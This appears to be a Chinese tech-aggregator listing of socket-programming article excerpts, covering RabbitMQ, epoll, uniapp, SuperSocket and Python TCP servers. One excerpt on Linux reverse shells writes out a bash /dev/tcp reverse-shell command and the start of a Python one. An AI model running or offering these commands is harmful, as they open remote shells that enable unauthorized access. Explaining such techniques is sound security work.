ICode9

精准搜索请尝试: 精确搜索
  • 第7篇 rabbitmq 创建SocketFrameHandler2021-06-07 22:02:23

    本节主要是熟悉socketFrameHandlerFactory类, 真正涉及到socket流处理器 展示如下类图(我们本文关心是SocketFrameHandlerFactory 和SocketFrameHandler),由类图可以知道SocketFrameHandlerFactory继承抽象类AbstractFrameHandlerFactory, 抽象类实现FrameHandlerFactory接口

  • 3-1:HTTP协议之应用层协议了解2021-06-07 22:00:55

    文章目录 (1)协议(2)网络版“计算器” 网络分层十分复杂,但是我们开发的大部分网络程序,均在应用层上运行 (1)协议 OSI分层模型中,每一层都有自己的协议,还是那句话协议是双方建立的约定,在应用层也是这样。读写数据时,实际上是按照比特位进行接受的,那么对于一些结构化的数据应该怎

  • 「linux」epoll和shutdown使用不当可能导致死循环2021-06-07 21:59:40

    首先来看段代码: #include <arpa/inet.h> #include <assert.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <sys/epoll.h> #include <sys/socket.h> #include <sys/types.h>

  • 详细讲解uniapp开发如何使用socket长连接2021-06-07 20:34:37

    本篇会详细讲解如何在uniapp开发中去使用长连接,如有疑问可以下方评论或者私聊。 一、引入第三方插件socket.io import io from '@/common/uni-socket.io.js'; 二、建立长连接 onSocket(state,user) { //每次建立长连接之前先断开连接,防止重复 if(state.socket){

  • 初识SuperSocket2021-06-07 14:56:22

    SuperSocket 是一个轻量级的可扩展的 Socket 开发框架,可用来构建一个服务器端 Socket 程序。而无需了解如何使用 Socket,如何维护Socket连接,Socket是如何工作的。该项目使用纯 C# 开发,易于扩展和集成到已有的项目。只要你的已有系统是使用.NET开发的,你都能够使用 SuperSock

  • 2-5:套接字(Socket)编程之从内核角度深入理解套接字2021-06-07 13:01:39

    文章目录 以TCP通信为例,创建套接字时使用的接口是 socket,监听使用的 listen,绑定使用的 bind,不管怎样, 他们都是系统调用接口。在Linux内核代码中,是通过call来区分的 其实,创建套接字的时候,在底层会首先创建一个内核结构,叫做 struct socket 其中有两个非常重要的

  • Linux socket编程 套接字选项2021-06-07 02:03:33

    1. 套接字选项概述 有很多方法来获取和设置套接字的选项, 以影响套接字行为: getsockopt和setsocketopt; fcntl; ioctl; 2. getsockopt和setsockopt 2个函数仅用于套接字, 分别用于获取和设置套接字选项 #include <sys/types.h> /* See NOTES */ #include <sys/socket

  • socket 源码分析2021-06-06 23:57:38

    Socket 源码分析 我们使用 socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 语句创建了一个 socket ,那么实际上发生了什么呢? 从下面的注释可以看的出来,之前是通过调用 sys_socketcall 再跳转, 现在是直接调用 sys_socket 函数。 下面的宏就是完成 sys_socket 到 SYSCALL_DEFI

  • python socket 长链接2021-06-06 20:35:54

    现在需要客户端和服务端通信,服务端主动给客户端发信息   服务端 import socket import time BUF_SIZE = 1024 host = '0.0.0.0' port = 9998 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(1) #接收的连接数 client, a

  • 网络通信Socket2021-06-06 19:05:58

    什么是Socket socket称为"套接字" ,应用程序通常通过"套接字"向网络发出请求或应答网络请求。 在Java中,Socket和ServerSocket类库位 于java.net包中。ServerSocket用于 服务器端,Socket是建立网络连接时使用的。在连接成功时,应用程序两端都会产生一个Socket实例,操作这个实例,完

  • Spark学习总结-Spark-Core2021-06-06 18:31:10

    Spark-Core 一 Driver和Executor通信 Driver相当于Client,Executor相当于Server Driver代码 package com.zxy.Socket import java.io.OutputStream import java.net.Socket object Driver { def main(args: Array[String]): Unit = { //连接服务器 v

  • day08_02 SocketServer多次通信2021-06-06 14:36:11

    socket_server.py __author__ = "Alex Li" # -*-coding:utf-8-*- # 服务器端 import socket server = socket.socket() server.bind(('localhost', 6969)) # 绑定要监听端口 server.listen(5) # 监听 print("我要开始等电话了") while True: # conn就是客户端连过来

  • day08_03 客户端多次连接2021-06-06 14:34:17

    socket_server.py import socketserver class MyTCPHandler(socketserver.BaseRequestHandler): def handle(self): while True: try: self.data = self.request.recv(1024).strip() print("{} wrote:"

  • day07_08 socket server2021-06-06 12:35:35

    socket_server.py __author__ = "Alex Li" #-*-coding:utf-8-*- #服务器端 #简单操作 # import socket # server = socket.socket() # server.bind(('localhost',6969)) #绑定要监听端口 # server.listen(5) #监听 # print("我要开始等电话了") # # server.accept() #

  • 网络编程TCP/UDP2021-06-05 22:59:15

    网络编程 如何实现网络的通信 ip端口号192.168.1.1:3600 网络模型 TCP/IP四层概念模型:应用层、传输层、网络层、数据链路层 。 应用层:HTTP···传输层:TCP/UDP网络层:IP/ICMP···数据链路层:FDDI、PPP··· TCP发送消息接受消息 tcp客户端 package com.seadun.demo.sead

  • [整理]inux下几种常见的反弹shell方式2021-06-05 20:58:24

    [整理]Linux下几种常见的反弹shell方式 方法1:使用linux命令反弹shell 反弹shell命令格式如下: bash -i >& /dev/tcp/ip/port 0>&1 方法2:使用python反弹shell 反弹shell命令格式如下: python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STRE

  • GK309协议电子工牌数据模拟器+Socket数据发送 JAVA版-源码2021-06-05 11:59:31

    GK309协议电子工牌数据模拟器+Socket数据发送 JAVA版-源码 说明源码EXE执行文件 说明 单JAVA文件,直接运行main方法即可。 只做了GK309的基础位置数据模拟: 0x01 登录信息0x10 一般位置0x16 SOS报警0xB0 上下班打卡 以及Socket数据发送功能,方便开发测试。需要模拟其他数

  • WebSockets Tutorial(教程一)WebSockets简介2021-06-05 09:57:41

    一、WebSockets简介 以字面意思来说,握手可以被定义为两个人抓住和握手右手,象征着问候,祝贺,同意或告别。在计算机科学中,握手是确保服务器与客户端同步的过程。握手是Web Socket协议的基本概念。 下图显示了与各种客户端的服务器握手: Web套接字 - 定义 Web套接字被定义为服务器和客

  • TCP Socket通信详细过程2021-06-05 09:29:54

     首页新闻博问专区闪存班级   注册登录 wn1m   博客园首页新随笔联系订阅管理 随笔 - 56  文章 - 0  评论 - 4  阅读 - 32万     下面这篇文章是参考"骏马金龙"博客中     不可不知的socket和TCP连接过程 https://www.cnblogs.com/f-ck-need-u/p/7623252.ht

  • 面试常考--socket常见错误2021-06-05 07:06:54

                ❤️强烈推荐人工智能学习网站❤️             ECONNREFUSED(111):    没有这个端口             EAGAIN(11):                      buff已满             EPIPE(32):                        客户端断掉了      

  • RPC项目中遇到的知识点1.02021-06-04 23:04:52

    //RPC1.0版本遇到的知识点 一、 “关于Java中接口的作用” 接口是个规范 按照接口规范进行方法调用,就能获得所期望的功能 按照接口规范实现接口的的方法,就能提供所期望的功能 https://www.zhihu.com/question/20111251/answer/16585393 "接口就是个招牌" 挂了KFC(接口)的招牌,

  • 【操作系统】进程间通信2021-06-04 22:57:51

    每个进程的⽤户地址空间都是独⽴的,⼀般⽽⾔是不能互相访问的,但内核空间是每个进程都共享的,所以进程之间要通信必须通过内核。 一、管道 1、管道如何创建呢,背后原理是什么? 匿名管道的创建,需要通过下⾯这个系统调⽤: int pipe(int fd[2]) 这⾥表示创建⼀个匿名管道,并返回了两

  • 公开课 redis4 --- 从NIO到BIO 到 多路复用 到epoll的发展历程2021-06-04 14:02:35

    接着昨天的继续学习: 里面会用到昨天学过的东西 博客连接如下: https://www.cnblogs.com/ITPower/articles/12399999.html   今天的目标, 学epoll 为什么学epoll, 用redis举例. epoll是所有模型中, 占用内核空间最小的, 执行速度最快的. redis用了epoll, nginx也是用了epoll  

  • Python3 网络编程(使用Socket实现TCP、UDP通信)2021-06-04 13:35:48

    TCP通信 TCP_服务端 1 import socket as s 2 3 tcp = s.socket(s.AF_INET,s.SOCK_STREAM) 4 tcp.bind(('127.0.0.1', 6666)) 5 tcp.listen(5) 6 while True: 7 # 建立客户端连接 8 clientsocket,addr = tcp.accept() 9 print("连接地址: %s"

  • python-网络编程2021-06-04 10:06:14

     一:socket和套接字 1.1.什么是socket    socket 的原意是“插座”,在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。 1.2.套接字分类      

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有